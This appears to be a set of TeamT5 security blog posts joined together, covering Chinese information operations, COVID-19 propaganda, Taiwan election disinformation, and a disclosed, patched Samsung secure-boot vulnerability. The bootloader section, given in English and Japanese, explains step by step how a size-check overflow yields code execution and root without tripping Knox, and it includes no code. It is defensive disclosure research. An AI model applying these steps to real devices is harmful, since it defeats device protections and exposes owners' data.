2020 is a year which has set many records. This year, the takedowns of covert Chinese social media accounts by Facebook, Twitter, and Google are more frequent than ever. However, even with such efforts, we observed that there are new covert actors emerging across the platforms, while the banned actors keep coming back to the scene by registering new domains and new accounts. We spotted that there is a huge number of Facebook pages with admins located in China dedicated to disseminating Chinese propaganda content originated from Chinese social media platform, Weibo. Besides, there are sophisticated actors that create websites and subtle content to help the Chinese government shaping the narrative for the Hong Kong protest. We also detected numerous networks of pro-China political accounts that demonstrated strong signs of automated behavior.
 
 
### 3. APT actors might have entered the InfoOps threat landscape.
 
 
The situation is become more alarming as we discovered that the Advanced Persistent Threat (APT) actors might have entered the InfoOps threat landscape. APT actors, typically a state-sponsored group, usually conduct prolonged and targeted cyberattacks to mine highly sensitive data. However, in mid-2020, we identified an InfoOp that can be linked to a notorious Chinese APT group which TeamT5 intelligence team has tracked for years. We discovered that the threat actors had disseminated disinformation about "Juiker," a messaging app developed by Taiwan's research institute and widely used by government units, on Taiwan's largest forum PTT. The operation, which we dub as "Operation Juiker," aimed to discredit Taiwan's intelligence agency and government-backed research institute by spreading disinformation of the messaging app being hacked.
 
 
### 4. It is more crucial than ever to adopt threat intelligence solutions to combat the issue.
 
 
The abovementioned Operation Juiker has well demonstrated the possibility of "APT + InfoOp" attack model, which involves targeted social media campaigns disseminating disinformation based on highly confidential data. Such situation is super tricky, and it could pose a great threat to democratic countries. In this case, threat intelligence can help provide instant analysis of actor methodologies, suspicious indicators, and potential risks. We suggest that it is crucial for government units, critical infrastructure operators, and major business vendors to apply threat intelligence to combat this issue.
 
 

If you are interested in this white paper, please fill out the form below and get the full-text PDF.
 
 
And don't miss our blog updates! Follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper III: China’s Social Manipulation outside the Great Firewall

インフォメーション オペレーション

Information Operation

面對中國日趨積極、強烈的資訊操弄（Social Manipulation），TeamT5情資團隊以資訊安全研究員的視角，推出最新的〈資訊戰白皮書二部曲〉（Information Operation White Paper），進一步分析中國在「防火長城」（Great Firewall）內，如何透過社群媒體進行數位政治宣傳（Digital Propaganda）。

除了廣為人知的言論審查制度，中國在防火長城內的資訊操弄，更包含主動的數位政治宣傳。從2019年香港反送中抗爭事件，到2020年的新冠肺炎疫情，我們可以清楚看到中國越來越「爐火純青」的數位政治宣傳實力。防火長城內對社群媒體的操控，神秘、難以探知，中國更設法將牆內轉化成中國共產黨的「一言堂」，阻止了理性政治討論的可能性。

在〈資訊戰白皮書二部曲〉中，我們聚焦於：

1.	近年來，中國藉由大量的網路相關立法與集中整併政府資源，強化網路控制。而控制公眾言論的數位政治宣傳，就是中國網路治理的「最後一哩路」。

2.	我們認為中國的數位政治宣傳機制，依循著一個極為有效的「配方」（Digital Propaganda Formula），由四個要素組成：官方媒體、共青團、政務新媒體，以及中國的水軍大隊。

3.	在中國政府資源帶領下，「輿情引導產業」興起，提供人工智慧與大數據工具，替政府收集、儲存、進而分析網路民意。

4.	我們認為，中國藉著其政治宣傳配方來穩定牆內的網路生態，而下一步，就是要將自身在西方社群媒體的影響力，擴張到國外，競逐世界話語權。

在疫情之後，網路世界成為新常態（new normal）不可或缺的一部分。但於此同時，也讓網路威脅，不論是傳統駭客行動者或是社群媒體操弄者（influence operators），有更多機會發動攻擊。TeamT5情資團隊致力於傳遞有用的情資與協助決策的分析報告，希望對提升網路安全盡一份心力。

若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。

 

**下期預告**

在接下來的〈資訊戰白皮書三部曲〉中，我們將討論中國對外的政治宣傳，看中國政治宣傳機器的現況與其影響，以及中國在西方社群媒體平台上的資訊作戰。

不想錯過我們接下來發布的報告，請追蹤我們的 [Twitter](https://twitter.com/TeamT5_Official)。

TeamT5〈資訊戰白皮書二部曲：中國防火長城內的數位政治宣傳〉

To confront the emerging threat of China's Information Operation, TeamT5 threat intelligence team publishes this White Paper covering how China conduct information manipulation across Chinese social media platforms. From the 2019 Hong Kong Protest to the 2020 COVID-19 pandemic, China has demonstrated the art of surveillance, censorship, and most importantly, digital propaganda.

In this white paper, we focus on China's digital propaganda inside the Great Firewall. We suggest that the regime has developed a unique, organizational, and sophisticated propaganda mechanism, which we dub as "digital propaganda formula." With this formula, the Chinese Communist Party (CCP) has managed to transform all the Chinese social media platforms inside the Great Firewall into an almost total pro-CCP environment.

## Key Takeaways

1. CCP has strengthened its control over Chinese cyberspace by establishing legislations as well as centralizing administrations, and the "last mile" of its cyber governance is to control public opinion through censorship and digital propaganda.

2. We dub China's sophisticated propaganda mechanism the "digital propaganda formula," which consists of state media, communist youth league, governmental affairs new media, as well as trolling factory.

3. Moreover, CCP's policies have bolstered the industry of "public opinion guidance" in China. The industry practitioners have developed AI and big data-powered systems to help the government to collect, store, and analyze public sentiment.

4. China's formula has polluted the online information environment inside the Great Firewall. We assess that the CCP is trying to project its digital propaganda dominance to foreign social media platforms in order to control the world's discourse power. 

Following the global pandemic, the world relies on the internet more than ever. Cyber threat actors and influence operators, either state-backed or money driven, are taking the advantage to conduct information operation. TeamT5 threat intelligence team aims to deliver actionable intelligence and penetrating analytics and contribute to the safeguarding of cyberspace.

If you are interested in this white paper, please fill out the form below and get the full-text PDF.

 

**COMING UP NEXT**

In Part 3 of our Information Operation White Paper, we will focus on the external propaganda of the CCP. We will provide an overview of the current status and impact of Chinese propaganda machine and information operation on Western social media platforms, such as Facebook, Twitter, and YouTube.

If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper II: China’s Digital Propaganda Formula inside the Great Firewall

## About D39

D39 focuses on vulnerability research and has identified several critical security flaws, including technical exploitation of mobile, IoT devices, and Linux and Windows operating systems. We have reported dozens of vulnerabilities and dedicate to Samsung Vulnerabilities and Exposures (SVE) and Common Vulnerabilities and Exposures (CVE).

Before diving into the main subject this month, we are glad to announce that TeamT5 is again accepted at Black Hat USA, and our vulnerability research team, D39, will talk at the Black Hat Briefings in the upcoming August. We are honored to share our research findings with researchers and security experts all over the world and expect more recognition of Taiwan's vulnerability researchers in the world.

![](https://legacy-uploads.teamt5.org/D39_6-1_6807f98c9b.png)
[Black Hat Session](https://www.blackhat.com/us-20/briefings/schedule/index.html#breaking-samsungs-root-of-trust-exploiting-samsung-s-secure-boot-20290)

This article will cover a part of our talk at Black Hat USA in August.

## Introduction

We have found several vulnerabilities in Samsung Secure boot, which can break through Samsung Knox protections. We can even retrieve users' sensitive data from a locked device. The affected Samsung mobiles include Galaxy S8, S9, and S10. Patches to these vulnerabilities have been provided by Samsung.

One of these vulnerabilities allows attackers to execute arbitrary code in Galaxy S8 secure bootloader to access the device. In this article, we will elaborate how we exploit these vulnerabilities to bypass S8 secure bootloader through the USB device and obtain arbitrary code execution in early boot stage.

Note: Another security research team found this vulnerability at the same time and report it to Samsung.
ID: SVE-2019-15230 (details below).
![](https://legacy-uploads.teamt5.org/SVE-2019_3bc5eea84d.png)

## KNOX

![](https://legacy-uploads.teamt5.org/D39_6-2_ee457f68cd.png)
[Image courtesy](https://docs.samsungknox.com/whitepapers/knox-platform/hardware-backed-root-of-trust.htm)

As the market leader of smartphone, Samsung conducts a series of protection on Android, known as the Knox Platform, to ensure the security of its devices. During the booting process, Samsung uses S-boot (Secure Boot) to make sure it can only boot a stocked image. If the device tries to boot a custom image, it will trip (turned from 0X0 to 0X1) a one-time programmable bit e-fuse (a.k.a Knox bit). Once a trustzone app (trustlet) detects the Knox bit tripped, it will delete the encryption key of sensitive data to prevent unauthorized data from accessing the locked device.

## Vulnerability

Smartphones with Samsung Exynos processor use a exclusive secure bootloader named S-boot. S-boot has ODIN mode which allows users to upgrade the firmware manually. Due to the insufficiency in its code, the flash command (opcode: 0x66) in ODIN mode is not able to properly check the flash image size, which leads to buffer overflow.

The flash command in ODIN mode uses a temporary buffer to store the image. In Galaxy S8, the buffer is located at 0xC0000000, right in front of sboot code segment (0xC9000000). Although the system will check to ensure that the size being no larger than 0x1e0000, it uses signed comparison to check the size of the image; thus provide us some space to get around. We therefore provide a size larger than 0x80000000, making buffer overflowed and, in the end, the following segments such as code, stack, and heap will be overwritten.

![](https://legacy-uploads.teamt5.org/D39_6-3_8b038e080e.png)

## The Exploit

### Code Execution

Although we can overflow the code segment of S-Boot, we still cannot hijack the execution flow. Since USB receivers use physical memory to hold the data it received directly, we cannot affect instruction cache unless the cache line has been invalidated.

Fortunately, the heap segment is not cached due to MMU flag. There are some pointers stored in the heap segment, which can be accessed during the USB process. If we overwrite these pointers with null bytes, the processor will trigger an exception and trap into the exception handler while accessing to NULL pointers. Since the handler has never been executed, it is not cached in the instruction cache. Therefore we can also overwrite the exception handler simultaneously and hijack it directly to our shellcode.

![](https://legacy-uploads.teamt5.org/D39_6-4_58c7cc6a95.png)

### Booting Custom Kernel

Since all the run-time data has been overwritten -- including stack, heap and global variables -- the sboot fail to perform further booting operation. These kinds of data are difficult to recover, so we must re-execute the booting process.

Under normal condition, S-boot calls several functions in a particular function table which is located at 0xC90C7350. To re-execute s-boot, these functions have to be invoked sequentially again. They would initialize the memory of heap and stack, set the global variables, and boot the kernel at the end. However, these functions also involve some SMC calls which cannot be executed twice. Since we only compromised EL1 (Exception Level 1), the trustzone in EL3 (Exception Level 3) cannot be reverted. As a result, we have to overwrite these SMC calls with NOP instruction while overflowing the code segment to ignore those SMC (System Management Controller) calls.

After all the run-time data has been reset, we replace the original kernel with our custom one. Then we execute one last function to boot our custom kernel and get the **root privilege without blowing KNOX bit**.

![](https://legacy-uploads.teamt5.org/D39_6-5_2f6b6f9ccd.png)

## Timeline

2019-10-02 Report Vulnerability
 
2019-10-08 Informed Vulnerability duplicated and release patch note

## Appendix: Potential Exploit Path on Galaxy S10

According to our analysis, this vulnerability affects Galaxy S9, Galaxy S10 and Galaxy Note 10 as well. Among them we find that exploitation can still be trigger at different address. For instance, even the temporary buffer located at different addresss, like 0x890000000 in Galaxy S10, there are still chances to exploit it. To explain the complete exploitation flow, we choose the firmware, G970FXXU1ASD5, as an example.

In Galaxy S9 and later version, there is another feature added to the secure boot - compressed_download. It uses another buffer to store the flash image. However if compressed_download failed during the initialization, it will fallback to normal download, and use the buffer (0xC0000000) to store the flash image.

![](https://legacy-uploads.teamt5.org/D39_6-6_724f86aa51.png)

To make S-boot fallback to normal download, we have to make the function `cd_v3_smp_register` fail. After reversing, we noticed that the function `cd_v3_smp_register` may return failed if there is no available core(`booted_cores` > 3) can be booted. Coincidentally, there is a test command - "smp_boot_test" in the UART (Universal Asynchronous Receiver/Transmitter) console. The command smp_boot_test will boot a core and add the count of the booted_cores. Although `smp_boot_test` shutdown the booted up core immediately, it didn't restore the count. Therefore, the compressed_download_init may failed if the command `smp_boot_test` has been invoked more than twice before entering the download mode.

If we have the UART debug cable to get the UART console, we can call the command`smp_boot_test` 3 times and enter the download mode via the command `usb`. The `compressed_download_init` would fail, then the temporary buffer fallback to 0xC0000000. Therefore the arbitrary code execution on S10's bootloader can be achieved as the one in Galaxy S8.

We managed to build our own TypeC debug cable at first. However, after trying every kinds of Pull-up/down resistor value, TypeC accessory mode, TypeC VDM, we cannot yet figure out a cable for RID_523K detection. Still, in the end, we applied other approach that enable us to attain **Galaxy S10 Secure Bootloader's permission of arbitrary code** without having debug cable.

We will have a thorough display on Black Hat. Stay tuned!

For the latest vulnerability research from D39, please follow:

TeamT5 official website: [https://teamt5.org/](https://teamt5.org/ "https://teamt5.org/")

Twitter: [https://twitter.com/TeamT5_Official](https://twitter.com/TeamT5_Official)

BlackHat's Talk: Breaking Samsung's Root of Trust - Exploiting Samsung Secure Boot

## D39について

D39は脆弱性研究に注力しており、モバイル、IoTデバイス、LinuxおよびWindowsオペレーティングシステムへの技術的な悪用を含めた、重大なセキュリティ上の欠陥を複数特定しています。私たちが報告した脆弱性は何十種類におよび、SVE（Samsung Vulnerabilities and Exposures）とCVE（Common Vulnerabilities and Exposures）を専門としています。

今月の本題に入る前に、Black Hat USAにTeamT5が再び招待され、来る8月のBlack Hat情報説明会では、当社の脆弱性調査チームであるD39が講演することになりましたのでお知らせします。私たちの研究成果を世界中の研究者やセキュリティ専門家と共有できることを光栄に思うとともに、台湾の脆弱性研究者が世界でより高く評価されることを期待しています。

![](https://legacy-uploads.teamt5.org/D39_6-1_6807f98c9b.png)
[Black Hatセッション](https://www.blackhat.com/us-20/briefings/schedule/index.html#breaking-samsungs-root-of-trust-exploiting-samsung-s-secure-boot-20290)

本記事では、8月に開催されたBlack Hat USAでの講演の一部をご紹介します。

## はじめに

Samsungセキュアブートに複数の脆弱性が見つかり、Samsung Knoxの保護を突破できることが判明しました。ロックされたデバイスから、ユーザーの機密データを取り出すこともできます。影響を受けるSamsung製モバイルフォンGalaxy S8、S9、S10です。これらの脆弱性に対するパッチが、Samsung社から提供されています。

これらの脆弱性の1つでは、攻撃者がGalaxy S8のセキュアブートローダーで任意のコードを実行して、端末にアクセスすることができます。本記事では、USBデバイスを使用して、こういった脆弱性を悪用しS8のセキュアブートローダーを回避し、起動初期段階で任意のコードを実行させる方法について詳しく見ていきましょう。

備考：別のセキュリティ研究チームも同時にこの脆弱性を発見しており、Samsungに報告しています。
ID：SVE-2019-15230（詳細は以下を参照）。

**SVE-2019-15230：ブートローダでの整数がオーバーフローする可能性**
- 重大度：クリティカル
- 影響を受けるバージョン：Exynosチップセットを搭載したN(7.x)、O(8,x)、P(9,0)
- 報告日：2019年8月8日
- 情報開示状況：非公開。
- ブートローダ内における符号付き整数と符号なし整数の型の不一致により、整数のオーバーフローが発生する可能性がある。
- パッチでは、変数の型を符号なし整数に変更することで、整数のオーバーフローを防止している。


## KNOX

![](https://legacy-uploads.teamt5.org/D39_6-2_ee457f68cd.png)
[画像のソース](https://docs.samsungknox.com/whitepapers/knox-platform/hardware-backed-root-of-trust.htm)

スマートフォン市場のリーダーとして君臨するSamsungは、自社のデバイスのセキュリティを確保するため、Android上で様々な保護を実施しており、これはKnoxプラットフォームと呼ばれています。起動時にSamsungはS-boot（セキュアブート）を使用して、保管されている画像のみしか起動できないようにしています。デバイスがカスタムイメージを起動しようとすると、1回だけプログラムできるビットe-fuse（通称Knoxビット）がトリップします（0X0から0X1へと変化）。トラストゾーンアプリ（trustlet）はKnoxビットのトリップを検出次第、機密データの暗号キーを削除し、不正なデータがロックされたデバイスにアクセスできないようにします。

## 脆弱性

Samsung Exynosプロセッサを搭載したスマートフォンは、S-bootと呼ばれる独自のセキュアブートローダーを採用しています。S-bootにはODINモードがあり、ユーザーはこのモードを使うことで、手動でファームウェアをアップグレードすることができます。そのコード内に不備があることから、ODINモードのフラッシュコマンド（オペコード：0x66）は、フラッシュイメージのサイズを正しくチェックすることができず、それによりバッファオーバーフローへとつながります。

ODINモードのflashコマンドは、画像を保存するにあたり一時的なバッファを使用します。Galaxy S8では、バッファは0xC0000000にあり、これはsbootコードセグメント（0xC9000000）のすぐ前に位置しています。システムはサイズが0x1e0000より大きくならないように確認しますが、画像のサイズをチェックするにあたり符号付きで比較するため、ここに回避するためのスキが生まれます。そのため、0x80000000より大きなサイズを指定してバッファをオーバーフローさせれば、最終的にコード、スタック、ヒープなどの後続のセグメントが上書きされます。

![](https://legacy-uploads.teamt5.org/D39_6-3_8b038e080e.png)

## 弱点の悪用

### コードの実行

S-Bootのコードセグメントをオーバーフローさせることはできますが、実行フローをハイジャックすることはできません。USBレシーバーは受信したデータを直接物理メモリに保持するため、キャッシュラインが無効化されない限り、命令キャッシュに影響を与えることはできないからです。

幸い、MMUフラグがあることから、ヒープセグメントはキャッシュされていません。ヒープセグメントにはいくつかのポインターが格納されており、これらのポインターにはUSB処理中にアクセスすることができます。これらのポインターをNULLバイトで上書きすると、プロセッサは例外をトリガーし、NULLポインターへのアクセス中に例外ハンドラーにトラップされます。ハンドラーは一度も実行されていないため、命令キャッシュにはキャッシュされません。従って、例外ハンドラーも同時に上書きすることで、私たちが作成したシェルコードに引き込んで直接ハイジャックすることができます。

![](https://legacy-uploads.teamt5.org/D39_6-4_58c7cc6a95.png)

### カスタムカーネルの起動

スタック、ヒープ、グローバル変数を含めたすべてのランタイムデータが上書きされたため、sbootはこれ以降の起動に失敗します。こういったデータは復旧が困難なため、起動プロセスを再実行する必要があります。

通常、S-bootは、0xC90C7350にある特定の関数テーブル内から複数の関数を呼び出します。s-bootを再実行するためには、これらの関数を再度順次に呼び出す必要があります。関数がヒープやスタックなどのメモリを初期化し、グローバル変数を設定して、最後にカーネルを起動します。しかしながら、これらの関数には2回実行できないSMC呼び出しも含まれています。EL1（例外レベル1）のみを侵害しているので、EL3（例外レベル3）のトラストゾーンを元に戻すことはできません。ですから、SMC呼び出しをNOP命令で上書きしながら、これらのSMC（System Management Controller）呼び出しを無視するために、コードセグメントをオーバーフローさせる必要があります。

すべてのランタイムデータがリセットされた後、オリジナルのカーネルをカスタムカーネルに置き換えます。その後、最後の関数を実行してカスタムカーネルを起動し、**KNOXビットをブローさせることなくルート権限** を取得します。

![](https://legacy-uploads.teamt5.org/D39_6-5_2f6b6f9ccd.png)

## タイムライン

2019年10月02日 脆弱性を報告
 
2019年10月08日 脆弱性を重複できたことを報告し、パッチノートをリリ

## 付録：Galaxy S10に存在する潜在的な悪用パス

当社の分析によると、この脆弱性はGalaxy S9、Galaxy S10、Galaxy Note 10にも影響を及ぼします。これらの機種の中では、異なるアドレスであったとしても弱点の悪用がトリガーされる可能性があることがわかりました。例えば、Galaxy S10の0x890000000のように、一時バッファが異なるアドレスにある場合でも、悪用される可能性はあります。悪用の完全な流れを説明するために、ファームウェアであるG970FXXU1ASD5を一例として挙げています。

Galaxy S9以降のバージョンでは、セキュアブートにもう一つの機能であるcompressed_downloadが追加されています。この機能は、別のバッファを使用してフラッシュイメージを格納します。しかしながら、初期化中にcompressed_downloadが失敗した場合、通常のダウンロードにフォールバックし、フラッシュイメージの保存にはバッファ（0xC0000000）が使用されます。


![](https://legacy-uploads.teamt5.org/D39_6-6_724f86aa51.png)

S-bootを通常のダウンロードにフォールバックさせるためには、```cd_v3_smp_register```関数を失敗させる必要があります。入れ替えを行ったところ、起動できるコアがない場合に（`booted_cores` > 3）、関数```cd_v3_smp_register```が失敗を返す可能性があることに気づきました。偶然にも、テストコマンドである```smp_boot_test```がUART（Universal Asynchronous Receiver/Transmitter）コンソールにあります。smp_boot_testコマンドはコアを起動し、booted_coresのカウント数を加算します。```smp_boot_test```は起動したコアをすぐにシャットダウンしますが、カウントは復元されませんでした。そのため、ダウンロードモードに入る前に```smp_boot_test``` コマンドを2回以上実行すれば、compressed_download_init が失敗する可能性があります。

UARTデバッグケーブルでUARTコンソールを取得していれば、```smp_boot_test```コマンドを3回呼び出して、```usb```コマンドでダウンロードモードに入ることができます。```compressed_download_init```は失敗し、一時バッファが0xC0000000にフォールバックします。そのため、Galaxy S8の場合と同様に、S10のブートローダ上で任意のコードを実行することが可能になります。

最初は、当社自身でTypeCデバッグケーブルを構築することに成功しました。しかしながら、レジスタ値、TypeCのアクセサリーモード、TypeCのVDMであらゆる値を試してみましたが、RID_523Kを検出するケーブルはまだ見つかっていません。最終的には、デバッグケーブルなしで、**Galaxy S10セキュアブートローダーの任意のコード許可** を得ることができる別の方法を適用しました。

Black Hatで詳しく説明する予定です。お楽しみに。

D39が実施した最新の脆弱性調査については、以下を参照してください。

TeamT5公式ウェブサイト： [https://teamt5.org/](https://teamt5.org/ "https://teamt5.org/")

ツイッター： 
 
[TeamT5](https://twitter.com/TeamT5_Official)
 
[TeamT5 株式会社](https://twitter.com/TeamT5_JP)

BlackHatでのトーク：SamsungのRoot of Trustを破壊 - Samsungのセキュアブートへの悪用

*\*Please noted that this blog post is a shortened version of our analysis. To assess the full version of the analysis, please subscribe our report "Cyber Affairs Biweekly-Update."*

### Key Takeaways

1. China has exerted ever greater influence over the globe since the outbreak of the coronavirus. Over the past three months, TeamT5 has been monitoring how China utilizes its cyber strength and propaganda machine to handle the Covid-19 pandemic.
2. The Chinese authorities have collaborated with telecom firms and tech giants in China, using technologies such as big data to control the public opinion and people's movement. The regime has implemented measures such as digital surveillance, keywords censorship on social media applications, and Health Code System.
3. Moreover, China has also exercised its propaganda machine to shape both domestic and international narrative of the pandemic. The Chinese officials and Chinese state media have utilized various social media platforms, particularly Weibo and Twitter, to disseminate propaganda to Chinese people and foreign audiences. Some Chinese officials have connived and even promoted online conspiracy theory, which claimed China is not the origin of the coronavirus.

### Blurred Lines Between State and Corps: Telecom Surveillance and Health Code System

The Chinese Communist Party (CCP) has collaborated with its national tech giants and telecom firms to implement a series of security measures in the name of containing the coronavirus outbreak.

The regime has elevated its digital control over domestic citizens. In mid-February, China's Ministry of Industry and Information Technology (MIIT) sent a notice to Information and Communications Technology (ICT) service providers, demanding relevant firms to strengthen monitoring and censorship over online public discussion.\[1\] The MIIT also announced the utilization of telecom big data analysis in support of the battle against the coronavirus. \[2\]

As the country tried to resume normal operations, the Chinese authorities launched Health Code System, using big data to monitor citizens' health status and then regulate their movement. The Health Code System is developed by the Ant Financial, an affiliate company of the Chinese Alibaba Group, and Tencent in collaboration with the Chinese authorities.

The system has raised privacy concerns since it connects and integrates databases of government units and private firms, forming a comprehensive surveillance system which contains real name, phone number, ID, address, travel history, health status and contact history. Moreover, only 3 out of 16 Health Code Apps list their user agreement and privacy policy at installation, while others will directly direct users to the registration page to fill out personal information.\[3\] This shows that most of the users' data are collected, processed, and shared without informed consent.

### Strategic Distraction and Positive Propaganda Targeting Domestic Citizens

The authoritarian regime is also in another battle to shape the public opinion about the epidemic. Initially, the Chinese state media employed strategic distraction to mitigate the seriousness of the coronavirus. Before Wuhan Lockdown on January 23, Chinese state media started reporting the Influenza B in the United States.\[4\] The topic "Influenza B outbreak in the US" (美国爆发乙型流感) reached 500 million views and 31,000 discussions on Weibo.\[5\]

![](https://legacy-uploads.teamt5.org/SR_1_4fb4158a6a.png)_Figure 1: News report by the China Central Television (CCTV)._

As the number confirmed cases soared in China, the Chinese state media outlets started to spread positive propaganda. For instance, they highly praised the Chinese authorities' handling of the virus by highlighting the rapid construction of Huoshenshan Hospital.\[6\] They also promoted narratives such as "the Chinese people are sacrificing to fight the virus", accompanied by praises from WHO Director General Tedros Adhanom Ghebreyesus.\[7\]\[8\]

![](https://legacy-uploads.teamt5.org/SR_2_0b7b7f6542.png)_Figure 2: YouTube video by China Global Television Network (CGTN)._

The regime has seized the opportunity to demonstrate the country's strength to contain the virus as well as the advantages of an authoritarian regime. The CCP uses the case to show that its authoritarian governance system is more effective than the liberal democracies when facing a crisis like the Covid-19 pandemic.

### Propaganda, Hoaxes and Conspiracy Theories: From Troublemaker to Global Savior

Although China was widely criticized for its delayed and opaque treatment to the coronavirus outbreak during the initial stage, the regime has backed on its feet to polish its international image after the pandemic seems to have subsided in China.

In particular, Italy, the first G-7 country to join China's Belt and Road Initiative (BRI), became a favorable environment for the regime to launch propaganda. We observed a series of propaganda was launched against Italy.

![](https://legacy-uploads.teamt5.org/SR_3_c2c0ee47d2.png)_Figure 3: The Chinese embassy posted a series of tweets to promote China's medical aids foe Italy, using hashtag #ForzaCinaeItalia_

The campaign is revealed to have boosted by social manipulation, as the hashtag #ForzaCinaeItalia (Go China, go Italy) was promoted by Twitter bot accounts.\[9\]

In another case, since March 15, Chinese state media outlets as well as Chinese diplomats Hua Chunying and Zhao Lijian have promoted a video of Italian chanting "Grazie, Cina!" on their balconies with the Chinese anthem "March of the Volunteers" playing.\[10\] The video was examined by researchers and was claimed to be manufactured.

![](https://legacy-uploads.teamt5.org/SR_4_b4d7e95934.png)_Figure 4: Hua Chunying's sharing the video on Twitter._

### "Origin" Propaganda: Conspiracy Theories of Patient Zero

Conspiracy theories of the origin of the coronavirus have emerged across social media platforms as early as January. One of the significant cases is a conspiracy theory claiming that the US military had brought the coronavirus to Wuhan during the 2019 Military World Games.

Starting from March 12, 2020, Zhao Lijian, a deputy director of the Chinese Foreign Ministry's Information Department, has posted a series of tweet to amplify the conspiracy theory on Twitter. In one of his tweets, he shared a video clip of US Centers for Disease Control (CDC) chief Robert Redfield saying some Covid-19 death might have been diagnosed as influenza in the US, using it as evidence that the virus originated in the US.\[11\]

![](https://legacy-uploads.teamt5.org/SR_5_2802d4b539.png)_Figure 5: A series of tweets by Zhao Lijian promoting the conspiracy theory, along with articles of "globalresearch.ca". The website often promotes anti-US conspiracy theory._

![](https://legacy-uploads.teamt5.org/SR_6_2bb97447e7.png)_Figure 6: Global Times reporting the conspiracy theory about US military personnel bringing COVID-19 to China._

Besides the US, Italy is also one of the scapegoats for China's coronavirus origin propaganda. Starting from March 22, multiple Chinese state media outlets have published news article titled "Coronavirus may have existed in Italy since November: local researcher," implying that Italy was the origin of Coronavirus.\[12\]\[13\] They cited the words of the Italian physician Giuseppe Remuzzi in an interview with NPR on March 19 \[14\], using it as statement to prove that China is not the origin of the coronavirus.

Although Remuzzi protested that his words were twisted by China, the narrative has already gone viral.\[15\] The CCTV created a topic "Expert claims the coronavirus may have existed in Italy since November" (专家称疫情去年11月或已在意大利流行), which reached approximately 500 million views and 35,000 discussion posts.

### Conclusion

China's cyber strength and digital influence did not scale down even in the times of the pandemic. Instead, the regime took the opportunity to pose itself as a global leader more capable than the US. We can see that the CCP has well mastered its cyber capabilities and propaganda machine, expanding the regime's control from physical entities to public opinion. Moreover, the CCP has elevated its efforts to shape international opinion through the Twitter platform. We assess that the CCP will have more power of discourse and influence after they learned to conduct propaganda campaign on foreign social media platforms, and every party should be vigilant about it.

### Reference

\[1\] 工业和信息化部办公厅关于做好疫情防控期间信息通信行业网络安全保障工作的通知 (MIIT's Notice on Cybersecurity Practice for Information and Communications Technology (ICT) Service Providers During Epidemic Control)  
http://www.miit.gov.cn/n1146290/n1146402/c7681785/content.html

\[2\] 工业和信息化部召开媒体通气会 介绍电信大数据分析、支撑服务疫情防控总体情况 (MIIT's Media Briefing on the Utilization of Telecom Big Data Analysis on Epidemic Control)  
http://www.miit.gov.cn/n1146290/n1146402/c7678438/content.html

\[3\] 健康码的隐私政策还有哪些改进空间？(Room of Improvement on the Health Code System's Privacy Policy)  
https://www.jiemian.com/article/4120372.html

\[4\] 美国暴发40年来最致命流感 已有6600人死亡 (US' Worst Influenza Outbreak in 40 Years, 6600 Americans Killed)  
http://news.sina.com.cn/w/2020-01-22/doc-iihnzhha4088647.shtml

\[5\] https://s.weibo.com/weibo?q=%23美国爆发乙型流感%23&Refer=SWeibo_box

\[6\] CGTN: Time lapse video: Construction of Wuhan Huoshenshan Hospital completed  
https://www.youtube.com/watch?v=53nhErXUd9A

\[7\] 中国人民"正在为全人类作贡献" (Chinese People are Contributing for All Human Kind)  
http://world.people.com.cn/n1/2020/0308/c1002-31622166.html

\[8\] Xinhua Net: China deserves appreciation for efforts, sacrifices in fighting epidemic: WHO chief  
http://www.xinhuanet.com/english/2020-02/16/c_138789289.htm

\[9\] How China unleashed Twitter bots to spread COVID-19 propaganda in Italy  
https://formiche.net/2020/03/china-unleashed-twitter-bots-covid19-propaganda-italy/

\[10\] https://twitter.com/SpokespersonCHN/status/1239041044580188162  
https://twitter.com/zlj517/status/1239112822908276736  
CGTN: Italians play Chinese national anthem to thank China for its aid  
https://www.youtube.com/watch?v=8ZKsA2jbwlk  
CCTV: Italians play Chinese national anthem, chanting "Grazie Cina"  
https://www.facebook.com/watch/?v=201784281098386

\[11\] https://twitter.com/zlj517/status/1238111898828066823

\[12\] Coronavirus may have existed in Italy since November: local researcher  
https://news.cgtn.com/news/2020-03-22/Coronavirus-may-have-existed-in-Italy-since-November-local-researcher-P4i2As2OAg/index.html

\[13\] Italian doctors saw strange pneumonia cases before China's COVID-19 outbreak, report says   
http://www.china.org.cn/world/Off_the_Wire/2020-03/22/content_75845579.htm

\[14\] 'Every Single Individual Must Stay Home': Italy's Coronavirus Surge Strains Hospitals  
https://www.npr.org/2020/03/19/817974987/every-single-individual-must-stay-home-italy-s-coronavirus-deaths-pass-china-s?t=1585131614833

\[15\] Beijing twisted my words on coronavirus's Italian origin, says scientist Giuseppe Remuzzi  
https://www.thetimes.co.uk/article/beijing-twisted-my-words-on-coronaviruss-italian-origin-says-scientist-giuseppe-remuzzi-6twwhkrvn

Special Report: How China Utilizes Its Cyber Strength and Propaganda Machine to Handle the COVID-19 Pandemic

社群媒體的普及改變了人們吸收資訊的方式，衝擊了原有的選戰型態。2018到2020年，台灣面臨了新形態的選戰威脅，攻擊者利用社群媒體散播大量的假新聞、不實資訊、仇恨言論。這些攻擊就像高傳染力的病毒不僅會觸及所有社群媒體使用者，更會讓他們感染後進一步成為潛在的假消息散播源。

TeamT5 的 Observations on 2020 Taiwanese General Elections 認為：

## 1. 假新聞讓各政黨支持者成為可能的散播源

   假新聞攻擊會利用選民對政治的熱情，使參與討論的選民反而成為散播的節點。

## 2. 假新聞的手法與目標持續地改變

   中選會認為這次選前的假新聞攻擊達到以往不曾有的數量。而除了數量與手法的不同，在選舉過後，相關攻擊並沒有停止，反而轉移了目標。

## 3. 中國持續加大自己的影響力

   從對台機構的新聞網站到各類假帳號、機器人與自發的小粉紅，中國試圖將影響力延伸到台灣的社群媒體。

## 4. 假新聞的攻擊行動被層層外包

   在選舉期間大量的行銷公司與新興媒體成立並散播特定政治訊息，讓真正的攻擊者可以輕易地隱藏於之後。



我們以資安研究員的角度出發，整合過去兩年間 TeamT5 拆解過的選舉假新聞攻擊事件，希望能替下一場民主選舉貢獻心力。

若對本份白皮書有興趣，請填寫表單，我們會以電子郵件的方式寄送。 TeamT5 接下來還會解析中國如何對內與對外利用社群媒體進行資訊的操弄。不想錯過我們接下來發布的報告，請追蹤我們的[Twitter](https://twitter.com/TeamT5_Official)

TeamT5 發布了〈資訊戰白皮書：2020台灣大選觀察〉

